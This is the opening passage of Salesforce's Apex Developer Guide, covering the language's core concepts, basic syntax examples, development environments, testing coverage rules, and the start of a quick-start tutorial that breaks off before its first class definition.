Apex Developer Guide

Version 64.0, Summer ’25

Last updated: August 15, 2025

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names and marks. Other marks appearing herein may be trademarks of their respective owners.
CONTENTS

Apex Developer Guide . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

Release Notes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Getting Started with Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Introducing Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Apex Development Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
Apex Quick Start . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
Writing Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
Data Types and Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
Control Flow Statements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
Classes, Objects, and Interfaces . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60
Working with Data in Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127
Running Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 241
Invoking Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 241
Apex Transactions and Governor Limits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 323
Using Salesforce Features with Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 337
Integration and Apex Utilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 573
Debugging, Testing, and Deploying Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 641
Debugging Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 641
Testing Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 681
Deploying Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 716
Distributing Apex Using Managed Packages . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 718
Apex Reference . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 734
Appendices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 734
Shipping Invoice Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 734
Reserved Keywords . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 746
Documentation Typographical Conventions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 747
APEX DEVELOPER GUIDE

Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control
statements on the Salesforce Platform server, in conjunction with calls to the API. This guide introduces you to the Apex development
process and provides valuable information on learning, writing, deploying and testing Apex.
For reference information on Apex classes, interfaces, exceptions and so on, see Apex Reference Guide.

Apex Release Notes

Use the Salesforce Release Notes to learn about the most recent updates and changes to Apex.
Getting Started with Apex
Learn about the Apex development lifecycle. Follow a step-by-step tutorial to create an Apex class and trigger, and deploy them to
a production organization.
Writing Apex
Apex is like Java for Salesforce. It enables you to add and interact with data in the Lightning Platform persistence layer. It uses classes,
data types, variables, and if-else statements. You can make it execute based on a condition, or have a block of code execute repeatedly.
Running Apex
You can access many features of the Salesforce user interface programmatically in Apex, and you can integrate with external SOAP
and REST Web services. You can run Apex code using a variety of mechanisms. Apex code runs in atomic transactions.
Debugging, Testing, and Deploying Apex
Develop your Apex code in a sandbox and debug it with the Developer Console and debug logs. Unit-test your code, then distribute
it to customers using packages.
Apex Reference
In Summer ’21 and later versions, Apex reference content is moved to a separate guide called the Apex Reference Guide.
Appendices

Apex Release Notes

Use the Salesforce Release Notes to learn about the most recent updates and changes to Apex.
For Apex updates and changes that impact the Salesforce Platform, see the Apex Release Notes.
For new and changed Apex classes, methods, exceptions and interfaces, see Apex: New and Changed Items in the Salesforce Release
Notes.

Getting Started with Apex

Learn about the Apex development lifecycle. Follow a step-by-step tutorial to create an Apex class and trigger, and deploy them to a
production organization.

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Apex Developer Guide Introducing Apex

Introducing Apex
Apex code is the first multitenant, on-demand programming language for developers interested in building the next generation of
business applications. Apex revolutionizes the way developers create on-demand applications.
Apex Development Process
In this chapter, you’ll learn about the Apex development lifecycle, and which organization and tools to use to develop Apex. You’ll
also learn about testing and deploying Apex code.
Apex Quick Start
This step-by-step tutorial shows how to create a simple Apex class and trigger, and how to deploy these components to a production
organization.

Introducing Apex
Apex code is the first multitenant, on-demand programming language for developers interested in building the next generation of
business applications. Apex revolutionizes the way developers create on-demand applications.
While many customization options are available through the Salesforce user interface, such as the ability to define new fields, objects,
workflow, and approval processes, developers can also use the SOAP API to issue data manipulation commands such as delete(),
update() or upsert(), from client-side programs.
These client-side programs, typically written in Java, JavaScript, .NET, or other programming languages, grant organizations more flexibility
in their customizations. However, because the controlling logic for these client-side programs is not located on Salesforce servers, they
are restricted by the performance costs of making multiple round-trips to the Salesforce site to accomplish common business transactions,
and by the cost and complexity of hosting server code, such as Java or .NET, in a secure and robust environment.

1. What is Apex?
Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control
statements on Salesforce servers in conjunction with calls to the API. Using syntax that looks like Java and acts like database stored
procedures, Apex enables developers to add business logic to most system events, including button clicks, related record updates,
and Visualforce pages. Apex code can be initiated by Web service requests and from triggers on objects.
2. Understanding Apex Core Concepts
Apex code typically contains many things that you're familiar with from other programming languages.
3. When Should I Use Apex?
Salesforce provides the ability to customize prebuilt apps to fit your organization. For complex business processes, you can implement
custom functionality and user interfaces with a variety of tools, including Apex and Lightning Components.
4. How Does Apex Work?
All Apex runs entirely on-demand on the Lightning Platform. Developers write and save Apex code to the platform, and end users
trigger the execution of the Apex code via the user interface.
5. Developing Code in the Cloud
The Apex programming language is saved and runs in the cloud—the multitenant platform. Apex is tailored for data access and
data manipulation on the platform, and it enables you to add custom business logic to system events. While it provides many benefits
for automating business processes on the platform, it is not a general purpose programming language.

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Apex Developer Guide Introducing Apex

What is Apex?
Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control
statements on Salesforce servers in conjunction with calls to the API. Using syntax that looks like Java and acts like database stored
procedures, Apex enables developers to add business logic to most system events, including button clicks, related record updates, and
Visualforce pages. Apex code can be initiated by Web service requests and from triggers on objects.

You can add Apex to most system events.

As a language, Apex is:

Integrated
Apex provides built-in support for common Lightning Platform idioms, including:
• Data manipulation language (DML) calls, such as INSERT, UPDATE, and DELETE, that include built-in DmlException
handling
• Inline Salesforce Object Query Language (SOQL) and Salesforce Object Search Language (SOSL) queries that return lists of sObject
records
• Looping that allows for bulk processing of multiple records at a time
• Locking syntax that prevents record update conflicts
• Custom public API calls that can be built from stored Apex methods
• Warnings and errors issued when a user tries to edit or delete a custom object or field that is referenced by Apex

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Apex Developer Guide Introducing Apex

Easy to use
Apex is based on familiar Java idioms, such as variable and expression syntax, block and conditional statement syntax, loop syntax,
object and array notation. Where Apex introduces new elements, it uses syntax and semantics that are easy to understand and
encourage efficient use of the Lightning Platform. Therefore, Apex produces code that is both succinct and easy to write.
Data focused
Apex is designed to thread together multiple query and DML statements into a single unit of work on the Salesforce server. Developers
use database stored procedures to thread together multiple transaction statements on a database server in a similar way. Like other
database stored procedures, Apex does not attempt to provide general support for rendering elements in the user interface.
Rigorous
Apex is a strongly typed language that uses direct references to schema objects such as object and field names. It fails quickly at
compile time if any references are invalid. It stores all custom field, object, and class dependencies in metadata to ensure that they
are not deleted while required by active Apex code.
Hosted
Apex is interpreted, executed, and controlled entirely by the Lightning Platform.
Multitenant aware
Like the rest of the Lightning Platform, Apex runs in a multitenant environment. So, the Apex runtime engine is designed to guard
closely against runaway code, preventing it from monopolizing shared resources. Any code that violates limits fails with
easy-to-understand error messages.
Easy to test
Apex provides built-in support for unit test creation and execution. It includes test results that indicate how much code is covered,
and which parts of your code could be more efficient. Salesforce ensures that all custom Apex code works as expected by executing
all unit tests prior to any platform upgrades.
Versioned
You can save your Apex code against different versions of the API. This enables you to maintain behavior.
Apex is included in Performance Edition, Unlimited Edition, Developer Edition, Enterprise Edition, and Database.com.

Understanding Apex Core Concepts

Apex code typically contains many things that you're familiar with from other programming languages.

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Apex Developer Guide Introducing Apex

Programming elements in Apex

The section describes the basic functionality of Apex, as well as some of the core concepts.

Using Version Settings

In the Salesforce user interface you can specify a version of the Salesforce API against which to save your Apex class or trigger. This setting
indicates not only the version of SOAP API to use, but which version of Apex as well. You can change the version after saving. Every class
or trigger name must be unique. You can’t save the same class or trigger against different versions.
You can also use version settings to associate a class or trigger with a particular version of a managed package that is installed in your
organization from AppExchange. This version of the managed package continues to be used by the class or trigger if later versions of
the managed package are installed, unless you manually update the version setting. To add an installed managed package to the settings
list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that is not
already associated with the class or trigger.

For more information about using version settings with managed packages, see About Package Versions in Salesforce Help.

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Apex Developer Guide Introducing Apex

Naming Variables, Methods and Classes

You can’t use any of the Apex reserved keywords when naming variables, methods, or classes. These include words that are part of Apex
and the Lightning Platform, such as list, test, or account, as well as reserved keywords.

Using Variables and Expressions

Apex is a strongly-typed language, that is, you must declare the data type of a variable when you first refer to it. Apex data types include
basic types such as Integer, Date, and Boolean, as well as more advanced types such as lists, maps, objects, and sObjects.
Variables are declared with a name and a data type. You can assign a value to a variable when you declare it. You can also assign values
later. Use the following syntax when declaring variables:

datatype variable_name [ = value];

Tip: The semi-colon at the end of preceding codeblock is not optional. You must end all statements with a semi-colon.

The following are examples of variable declarations:

// The following variable has the data type of Integer with the name Count,
// and has the value of 0.
Integer Count = 0;
// The following variable has the data type of Decimal with the name Total. Note
// that no value has been assigned to it.
Decimal Total;
// The following variable is an account, which is also referred to as an sObject.
Account MyAcct = new Account();

In Apex, all primitive data type arguments, such as Integer or String, are passed into methods by value. This fact means that any changes
to the arguments exist only within the scope of the method. When the method returns, the changes to the arguments are lost.
Non-primitive data type arguments, such as sObjects, are passed into methods by reference. Therefore, when the method returns, the
passed-in argument still references the same object as before the method call. Within the method, the reference can't be changed to
point to another object, but the values of the object's fields can be changed.

Using Statements
A statement is any coded instruction that performs an action.
In Apex, statements must end with a semicolon and can be one of these types:
• Assignment, such as assigning a value to a variable
• Conditional (if-else)
• Loops:
– Do-while
– While
– For

• Locking
• Data Manipulation Language (DML)
• Transaction Control
• Method Invoking
• Exception Handling

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Apex Developer Guide Introducing Apex

A block is a series of statements that are grouped with curly braces and can be used in any place where a single statement is allowed.
For example:
if (true) {
System.debug(1);
System.debug(2);
} else {
System.debug(3);
System.debug(4);
}

In cases where a block consists of only one statement, the curly braces can be left off. For example:
if (true)
System.debug(1);
else
System.debug(2);

Using Collections
Apex has the following types of collections:
• Lists (arrays)
• Maps
• Sets
A list is a collection of elements, such as Integers, Strings, objects, or other collections. Use a list when the sequence of elements is
important. You can have duplicate elements in a list.
The first index position in a list is always 0.
To create a list:
• Use the new keyword
• Use the List keyword followed by the element type contained within <> characters.
Use the following syntax for creating a list:

List <datatype> list_name

[= new List<datatype>();] |
[=new List<datatype>{value [, value2. . .]};] |
;

The following example creates a list of Integer, and assigns it to the variable My_List. Remember, because Apex is strongly typed,
you must declare the data type of My_List as a list of Integer.
List<Integer> My_List = new List<Integer>();

For more information, see Lists on page 28.

A set is a collection of unique, unordered elements. It can contain primitive data types, such as String, Integer, Date, and so on. It can
also contain more complex data types, such as sObjects.
To create a set:
• Use the new keyword
• Use the Set keyword followed by the primitive data type contained within <> characters

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Apex Developer Guide Introducing Apex

Use the following syntax for creating a set:

Set<datatype> set_name
[= new Set<datatype>();] |
[= new Set<datatype>{value [, value2. . .] };] |
;

The following example creates a set of String. The values for the set are passed in using the curly braces {}.
Set<String> My_String = new Set<String>{'a', 'b', 'c'};

For more information, see Sets on page 31.

A map is a collection of key-value pairs. Keys can be any primitive data type. Values can include primitive data types, as well as objects
and other collections. Use a map when finding something by key matters. You can have duplicate values in a map, but each key must
be unique.
To create a map:
• Use the new keyword
• Use the Map keyword followed by a key-value pair, delimited by a comma and enclosed in <> characters.
Use the following syntax for creating a map:

Map<key_datatype, value_datatype> map_name

[=new Map<key_datatype, value_datatype>();] |
[=new Map<key_datatype, value_datatype>
{key1_value => value1_value
[, key2_value => value2_value. . .]};] |
;

The following example creates a map that has a data type of Integer for the key and String for the value. In this example, the values for
the map are being passed in between the curly braces {} as the map is being created.
Map<Integer, String> My_Map = new Map<Integer, String>{1 => 'a', 2 => 'b', 3 => 'c'};

For more information, see Maps on page 31.

Using Branching
An if statement is a true-false test that enables your application to do different things based on a condition. The basic syntax is as
follows:

if (Condition){
// Do this if the condition is true
} else {
// Do this if the condition is not true
}

For more information, see Conditional (If-Else) Statements on page 53.

Using Loops
While the if statement enables your application to do things based on a condition, loops tell your application to do the same thing
again and again based on a condition. Apex supports the following types of loops:
• Do-while

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Apex Developer Guide Introducing Apex

• While
• For
A Do-while loop checks the condition after the code has executed.
A While loop checks the condition at the start, before the code executes.
A For loop enables you to more finely control the condition used with the loop. In addition, Apex supports traditional For loops where
you set the conditions, as well as For loops that use lists and SOQL queries as part of the condition.
For more information, see Loops on page 57.

When Should I Use Apex?

Salesforce provides the ability to customize prebuilt apps to fit your organization. For complex business processes, you can implement
custom functionality and user interfaces with a variety of tools, including Apex and Lightning Components.

Apex
Use Apex if you want to:
• Create Web services.
• Create email services.
• Perform complex validation over multiple objects.
• Create complex business processes that aren’t supported by Flow Builder.
• Create custom transactional logic (logic that occurs over the entire transaction, not just with a single record or object).
• Attach custom logic to another operation, such as saving a record, so that it occurs whenever the operation is executed, regardless
of whether it originates in the user interface, a Visualforce page, or from SOAP API.

Lightning Components
Develop Lightning components to customize Lightning Experience, the Salesforce mobile app, or to build your own standalone apps.
You can also use out-of-the-box components to speed up development.
As of Spring ’19 (API version 45.0), you can build Lightning components using two programming models: the Lightning Web Components
model, and the original Aura Components model. Lightning web components are custom HTML elements built using HTML and modern
JavaScript. Lightning web components and Aura components can coexist and interoperate on a page. Configure Lightning web
components and Aura components to work in Lightning App Builder and Experience Builder. Admins and end users don’t know which
programming model was used to develop the components. To them, they’re simply Lightning components.
We recommend using the Lightning Web Components (LWC) model to create custom user interfaces. LWC follows W3C web standards,
and you can build and package components using standard JavaScript syntax. With LWC, you can work easily with Salesforce data using
Apex and Lightning Data Service.
For more information, see the LWC Dev Guide.

Visualforce
Visualforce consists of a tag-based markup language that gives developers a more powerful way of building applications and customizing
the Salesforce user interface. With Visualforce you can:
• Build wizards and other multistep processes.
• Create your own custom flow control through an application.

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Apex Developer Guide Introducing Apex

• Define navigation patterns and data-specific rules for optimal, efficient application interaction.
For more information, see the Visualforce Developer's Guide.

SOAP API
Use standard SOAP API calls when you want to add functionality to a composite application that processes only one type of record at a
time and does not require any transactional control (such as setting a Savepoint or rolling back changes).
For more information, see the SOAP API Developer Guide.

How Does Apex Work?

All Apex runs entirely on-demand on the Lightning Platform. Developers write and save Apex code to the platform, and end users trigger
the execution of the Apex code via the user interface.

Apex is compiled, stored, and run entirely on the Lightning Platform

When a developer writes and saves Apex code to the platform, the platform application server first compiles the code into an abstract
set of instructions that can be understood by the Apex runtime interpreter, and then saves those instructions as metadata.
When an end user triggers the execution of Apex, perhaps by clicking a button or accessing a Visualforce page, the platform application
server retrieves the compiled instructions from the metadata and sends them through the runtime interpreter before returning the
result. The end user observes no differences in execution time from standard platform requests.

Developing Code in the Cloud

The Apex programming language is saved and runs in the cloud—the multitenant platform. Apex is tailored for data access and data
manipulation on the platform, and it enables you to add custom business logic to system events. While it provides many benefits for
automating business processes on the platform, it is not a general purpose programming language.
Apex cannot be used to:
• Render elements in the user interface other than error messages
• Change standard functionality—Apex can only prevent the functionality from happening, or add additional functionality
• Create temporary files
• Spawn threads

Tip: All Apex code runs on the Lightning Platform, which is a shared resource used by all other organizations. To guarantee
consistent performance and scalability, the execution of Apex is bound by governor limits that ensure no single Apex execution
impacts the overall service of Salesforce. This means all Apex code is limited by the number of operations (such as DML or SOQL)
that it can perform within one process.

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Apex Developer Guide Apex Development Process

All Apex requests return a collection that contains from 1 to 50,000 records. You cannot assume that your code only works on a
single record at a time. Therefore, you must implement programming patterns that take bulk processing into account. If you don’t,
you may run into the governor limits.

SEE ALSO:
Trigger and Bulk Request Best Practices

Apex Development Process

In this chapter, you’ll learn about the Apex development lifecycle, and which organization and tools to use to develop Apex. You’ll also
learn about testing and deploying Apex code.

What is the Apex Development Process?

To develop Apex, get a Developer Edition account, write and test your code, then deploy your code.
Choose a Salesforce Org for Apex Development
You can develop Apex in a sandbox, scratch org, or Developer Edition org, but not directly in a production org. With so many choices,
here’s some help to determine which org type is right for you and how to create it.
Choose a Development Environment for Writing Apex
There are several development environments for developing Apex code. Choose the environment that meets your needs.
Learning Apex
After you have your developer account, there are many resources available to you for learning about Apex
Writing Tests
Testing is the key to successful long-term development and is a critical component of the development process. We strongly
recommend that you use a test-driven development process, that is, test development that occurs at the same time as code
development.
Deploying Apex to a Sandbox Organization
Sandboxes create copies of your Salesforce org in separate environments. Use them for development, testing, and training without
compromising the data and applications in your production org. Sandboxes are isolated from your production org, so operations
that you perform in your sandboxes don’t affect your production org.
Deploy Apex to a Salesforce Production Organization
After you’ve finished all of your unit tests and verified that your Apex code is executing properly, the final step is deploying Apex to
your Salesforce production organization.
Adding Apex Code to a AppExchange App
You can include an Apex class or trigger in an app that you’re creating for AppExchange.

What is the Apex Development Process?

To develop Apex, get a Developer Edition account, write and test your code, then deploy your code.
We recommend the following process for developing Apex:
1. Choose a Salesforce Org for Apex development.
2. Learn more about Apex.
3. Write your Apex.

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Apex Developer Guide Apex Development Process

4. While writing Apex, you should also be writing tests.

5. Optionally deploy your Apex to a sandbox organization and do final unit tests.
6. Deploy your Apex to your Salesforce production organization.
In addition to deploying your Apex, once it is written and tested, you can also add your classes and triggers to a AppExchange App
package.

Choose a Salesforce Org for Apex Development

You can develop Apex in a sandbox, scratch org, or Developer Edition org, but not directly in a production org. With so many choices,
here’s some help to determine which org type is right for you and how to create it.

Sandboxes (Recommended)
A sandbox is a copy of your production org’s metadata in a separate environment, with varying amounts of data depending on the
sandbox type. A sandbox provides a safe space for developers and admins to experiment with new features and validate changes before
deploying code to production. Developer and Developer Pro sandboxes with source tracking enabled can take advantage of many of
the features of our Salesforce DX source-driven development tools, including Salesforce CLI, Code Builder, and DevOps Center. See Create
a Sandbox in Salesforce Help.

Scratch Orgs (Recommended)

A scratch org is a source-driven and temporary deployment of Salesforce code and metadata. A scratch org is fully configurable, allowing
you to emulate different Salesforce editions with different features and settings. Scratch orgs have a maximum 30-day lifespan, with the
default set at 7 days. For information on using and creating scratch orgs, see Scratch Orgs in the Salesforce DX Developer Guide.

Developer Edition (DE) Orgs

A DE org is a free org that provides access to many of the features available in an Enterprise Edition org. Developer Edition orgs can
become out-of-date over time and have limited storage. Developer Edition orgs don’t have source tracking enabled and can’t be used
as development environments in DevOps Center. Developer Edition orgs expire if they aren't logged into regularly. You can sign up for
as many Developer Edition orgs as you like on the Developer Edition Signup page.

Trial Edition Orgs

Trial editions usually expire after 30 days, so they’re great for evaluating Salesforce functionality but aren’t intended for use as a permanent
development environment. Although Apex triggers are available in trial editions, they’re disabled when you convert to any other edition.
Deploy your code to another org before conversion to retain your Apex triggers. Salesforce offers several product- and industry-specific
free trial orgs.

Production Orgs (Not Supported)

A production org is the final destination for your code and applications, and has live users accessing your data. You can't develop Apex
in your Salesforce production org, and we recommend that you avoid directly modifying any code or metadata directly in production.
Live users accessing the system while you're developing can destabilize your data or corrupt your application.

Choose a Development Environment for Writing Apex

There are several development environments for developing Apex code. Choose the environment that meets your needs.

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Apex Developer Guide Apex Development Process

Agentforce for Developers

Agentforce for Developers is an AI-powered developer tool that generates Apex code from natural language prompts and automatically
suggests code completions as you type. Use Agentforce for Developers to easily create unit test cases for your Apex code and get to the
required Apex test coverage.
Agentforce for Developers extension (salesforcedx-einstein-gpt) is a part of the Salesforce Expanded Pack. Agentforce for Developers is
enabled by default in VS Code. For more information, see Set Up Agentforce for Developers.
• To access Agentforce for Developers from inside an Apex file in the VS Code editor, see Generate Apex Code.
• To use AI-based autocomplete to accept suggestions for Apex code as you write it, see Inline Auto Completion.
• To use Agentforce for Developers to quickly generate unit tests, see Test Case Generation.

Salesforce Extensions for Visual Studio Code and Code Builder

The Salesforce Extensions for Visual Studio Code and Code Builder are tools for developing on the Salesforce platform in the lightweight,
extensible VS Code editor. These tools provide features for working with development orgs (scratch orgs, sandboxes, and developer
edition orgs), Apex, Lightning components, and Visualforce.
Code Builder is a browser-based version of the desktop experience, with everything installed and configured. It provides all the goodness
of the desktop experience, but provides you with the flexibility to work anywhere, from any computer.

Developer Console
The Developer Console is an integrated development environment (IDE) built into Salesforce. Use it to create, debug, and test Apex
classes and triggers.

To open the Developer Console from Lightning Experience: Click the quick access menu ( ), then click Developer Console.
To open the Developer Console from Salesforce Classic: Click Your Name > Developer Console.
The Developer Console supports these tasks:
• Writing code—You can add code using the source code editor. Also, you can browse packages in your organization.
• Compiling code—When you save a trigger or class, the code is automatically compiled. Any compilation errors are reported.
• Debugging—You can view debug logs and set checkpoints that aid in debugging.
• Testing—You can execute tests of specific test classes or all tests in your organization, and you can view test results. Also, you can
inspect code coverage.
• Checking performance—You can inspect debug logs to locate performance bottlenecks.
• SOQL queries—You can query data in your organization and view the results using the Query Editor.
• Color coding and autocomplete—The source code editor uses a color scheme for easier readability of code elements and provides
autocompletion for class and method names.

Salesforce Setup Code Editors

In Salesforce Setup, you can view and edit Apex classes and triggers.
All classes and triggers are compiled when they’re saved, and any syntax errors are flagged. You can’t save your code until it compiles
without errors. The Salesforce user interface also numbers the lines in the code, and uses color coding to distinguish different elements,
such as comments, keywords, literal strings, and so on.
• From Setup in the Quick Find box, enter Apex, and select an Apex class or trigger. To edit it, click Edit beside the class or trigger
name.

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Apex Developer Guide Apex Development Process

• To create a trigger on an object, from Setup in the Quick Find box, enter Object and click Object Manager. Click the object name
and click Triggers. Click New and enter your code.

Note: You can’t use the Salesforce Setup code editors to modify Apex in a Salesforce production org.

Additional Editors
Alternatively, you can use any text editor, such as Notepad, to write Apex code. Then either copy and paste the code into your application,
or use one of the API calls to deploy it.
To develop an Apex IDE of your own, use SOAP API methods for compiling triggers and classes, and executing test methods. Use Metadata
API methods for deploying code to production environments. For more information, see Deploying Apex on page 716.

SEE ALSO:
Salesforce Help: Find Object Management Settings

Learning Apex
After you have your developer account, there are many resources available to you for learning about Apex

Apex Trailhead Content

Beginning and intermediate programmers
Several Trailhead modules provide tutorials on learning Apex. Use these modules to learn the fundamentals of Apex and how you can
use it on the Salesforce Platform. Use Apex to add custom business logic through triggers, unit tests, asynchronous Apex, REST Web
services, and Lightning components.
• Quick Start: Apex
• Apex Basics & Database
• Apex Triggers
• Apex Integration Services
• Apex Testing
• Asynchronous Apex

Salesforce Developers Apex Developer Center

Beginning and advanced programmers
The Apex Developer Center has links to several resources including articles about the Apex programming language. These resources
provide a quick introduction to Apex and include best practices for Apex development.

Code Samples and SDKs

Beginning and advanced programmers
Open-source code samples and SDKs, reference code, and best practices can be found at Code samples and SDKs. A library of concise,
meaningful examples of Apex code for common use cases, following best practices, can be found at Apex-recipes.

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Apex Developer Guide Apex Development Process

Training Courses
Training classes are also available from Salesforce Trailhead Academy. Grow and validate your skills with Salesforce Credentials.

In This Guide (Apex Developer Guide)

Beginning programmers can look at the following:
• Introducing Apex, and in particular:
– Documentation Conventions
– Core Concepts
– Quick Start Tutorial

• Classes, Objects, and Interfaces

• Testing Apex
• Execution Governors and Limits
In addition, advanced programmers can look at:
• Trigger and Bulk Request Best Practices
• Advanced Apex Programming Example
• Understanding Apex Describe Information
• Asynchronous Execution (@future Annotation)
• Batch Apex and Apex Scheduler

Writing Tests
Testing is the key to successful long-term development and is a critical component of the development process. We strongly recommend
that you use a test-driven development process, that is, test development that occurs at the same time as code development.
To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class
methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to
the database, and send no emails. Such methods are flagged with the @IsTest annotation in the method definition. Unit test methods
must be defined in test classes, that is, classes annotated with @IsTest.

Note: The @IsTest annotation on methods is equivalent to the testMethod keyword. As best practice, Salesforce
recommends that you use @IsTest rather than testMethod. The testMethod keyword may be versioned out in a future
release.
In addition, before you deploy Apex or package it for the AppExchange, the following must be true.
• Unit tests must cover at least 75% of your Apex code, and all of those tests must complete successfully.
Note the following.
– When deploying Apex to a production organization, each unit test in your organization namespace is executed by default.
– Calls to System.debug aren’t counted as part of Apex code coverage.
– Test methods and test classes aren’t counted as part of Apex code coverage.
– While only 75% of your Apex code must be covered by tests, don’t focus on the percentage of code that is covered. Instead,
make sure that every use case of your application is covered, including positive and negative cases, as well as bulk and single
records. This approach ensures that 75% or more of your code is covered by unit tests.

• Every trigger must have some test coverage.

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Apex Developer Guide Apex Quick Start

• All classes and triggers must compile successfully.

For more information on writing tests, see Testing Apex on page 681.

Deploying Apex to a Sandbox Organization

Sandboxes create copies of your Salesforce org in separate environments. Use them for development, testing, and training without
compromising the data and applications in your production org. Sandboxes are isolated from your production org, so operations that
you perform in your sandboxes don’t affect your production org.
To deploy Apex from a local project in the Salesforce extension for Visual Studio Code to a Salesforce organization, see Salesforce
Extensions for Visual Studio Code.
You can also use the deploy() Metadata API call to deploy your Apex from a developer organization to a sandbox organization.
A useful API call is runTests(). In a development or sandbox organization, you can run the unit tests for a specific class, a list of
classes, or a namespace.
You can also use Salesforce CLI. See Develop Against Any Org for details.
For more information, see Deploying Apex.

Deploy Apex to a Salesforce Production Organization

After you’ve finished all of your unit tests and verified that your Apex code is executing properly, the final step is deploying Apex to your
Salesforce production organization.
1. To deploy Apex from a local project in Visual Studio Code editor to a Salesforce organization, see Salesforce Extensions for Visual
Studio Code and Code Builder.
Also, you can deploy Apex through change sets in the Salesforce user interface. For more information and for additional deployment
options, see Deploying Apex on page 716, and Build and Release Your App.

Adding Apex Code to a AppExchange App

You can include an Apex class or trigger in an app that you’re creating for AppExchange.
Any Apex that is included as part of a package must have at least 75% cumulative test coverage. Each trigger must also have some test
coverage. When you upload your package to AppExchange, all tests are run to ensure that they run without errors. In addition, tests
with the@isTest(OnInstall=true) annotation run when the package is installed in the installer's organization. You can specify
which tests should run during package install by annotating them with @isTest(OnInstall=true). This subset of tests must
pass for the package install to succeed.
For more information, see the Second-Generation Managed Packaging Developer Guide.

Apex Quick Start

This step-by-step tutorial shows how to create a simple Apex class and trigger, and how to deploy these components to a production
organization.
When you have a Developer Edition or sandbox organization, you can learn some of the core concepts of Apex. After reviewing the
basics, you’re ready to write your first Apex program—a simple class, trigger, and unit test.
Because Apex is similar to Java, you can recognize much of the functionality.
This tutorial is based on a custom object called Book that is created in the first step. This custom object is updated through a trigger.

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Apex Developer Guide Apex Quick Start

This Hello World sample requires custom objects. You can either create these objects on your own, or download the objects and Apex
code as an unmanaged package from AppExchange. To obtain the sample assets in your org, install the Apex Tutorials Package. This
package also contains sample code and objects for the Shipping Invoice example.

Note: There’s a more complex Shipping Invoice example that you can also walk through. That example illustrates many more
features of the language.

1. Create a Custom Object

In this step, you create a custom object called Book with one custom field called Price.
2. Add an Apex Class
In this step, you add an Apex class that contains a method for updating the book price. This method is called by the trigger that
you’ll be adding in the next step.
3. Add an Apex Trigger
In this step, you create a trigger for the Book__c custom object that calls the applyDiscount method of the MyHelloWorld
class that you created in the previous step.
4. Add a Test Class
In this step, you add a test class with one test method. You also run the test and verify code coverage. The test method exercises
and validates the code in the trigger and class. Also, it enables you to reach 100% code coverage for the trigger and class.
5. Deploy Components to Production
In this step, you deploy the Apex code and the custom object you created previously to your production organization using change
sets.

Create a Custom Object

In this step, you create a custom object called Book with one custom field called Price.
Prerequisites:
A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
For more information about creating a sandbox org, see “Sandbox Types and Templates” in Salesforce Help. To sign up for a free Developer
org, see the Developer Edition Environment Sign Up Page.
1. Log in to your sandbox or Developer org.
2. From your management settings for custom objects, if you’re using Salesforce Classic, click New Custom Object, or if you’re using
Lightning Experience, select Create > Custom Object.
3. Enter Book for the label.
4. Enter Books for the plural label.
5. Click Save.
Ta dah! You’ve now created your first custom object. Now let’s create a custom field.
6. In the Custom Fields & Relationships section of the Book detail page, click New.
7. Select Number for the data type and click Next.
8. Enter Price for the field label.
9. Enter 16 in the length text box.
10. Enter 2 in the decimal places text box, and click Next.
11. Click Next to accept the default values for field-level security.

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Apex Developer Guide Apex Quick Start

12. Click Save.

You've created a custom object called Book, and added a custom field to that custom object. Custom objects already have some standard
fields, like Name and CreatedBy, and allow you to add other fields that are more specific to your implementation. For this tutorial, the
Price field is part of our Book object, and the Apex class you’ll write in the next step accesses it.

SEE ALSO:
Salesforce Help: Find Object Management Settings

Add an Apex Class

In this step, you add an Apex class that contains a method for updating the book price. This method is called by the trigger that you’ll
be adding in the next step.
Prerequisites:
• A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
• The Book custom object.
1. From Setup, enter “Apex Classes” in the Quick Find box, then select Apex Classes and click New.
2. In the class editor, enter this class definition:
